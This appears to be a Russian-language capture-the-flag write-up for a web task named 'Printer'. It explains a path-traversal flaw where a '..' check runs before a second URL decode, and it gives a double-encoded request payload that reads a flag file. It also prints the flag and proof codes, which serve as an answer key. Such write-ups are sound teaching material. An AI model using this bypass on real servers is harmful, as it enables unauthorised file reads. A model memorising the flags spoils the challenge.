1.7 KiB
1.7 KiB
Printer — разбор решения
Разведка
- Главная страница
/показывает список файлов в очереди печати. - Роут
/jobs/preview?file=...отдаёт файл изdata/queue. - В очереди есть
readme.txt, где подсказаны каталоги/data/notesи/data/queue.
Уязвимость
В /jobs/preview путь для чтения строится так:
once = decodeURIComponent(raw)- Проверка
once.includes('..') p = decodeURIComponent(once)(возможен и третий decode)path.join(QUEUE_DIR, p)
Проверка на .. делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится .. и сработает обход в ../.
Эксплуатация
Дважды кодируем .. и /:
..→%2e%2e→%252e%252e/→%2f→%252f
Запрос:
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
Промежуточные преобразования:
- после первого decode:
%2e%2e%2fnotes%2fflag.txt(нет..) - после второго decode:
../notes/flag.txt
path.join формирует путь data/queue/../notes/flag.txt, что приводит к чтению флага.
Результат
Ответ содержит содержимое flag.txt, включая флаг:
caplag{chain_m_printer_traversa}
PRINTER_PROOF=printer-proof-3d3130
GAME_code=Printer-1s-down-move-next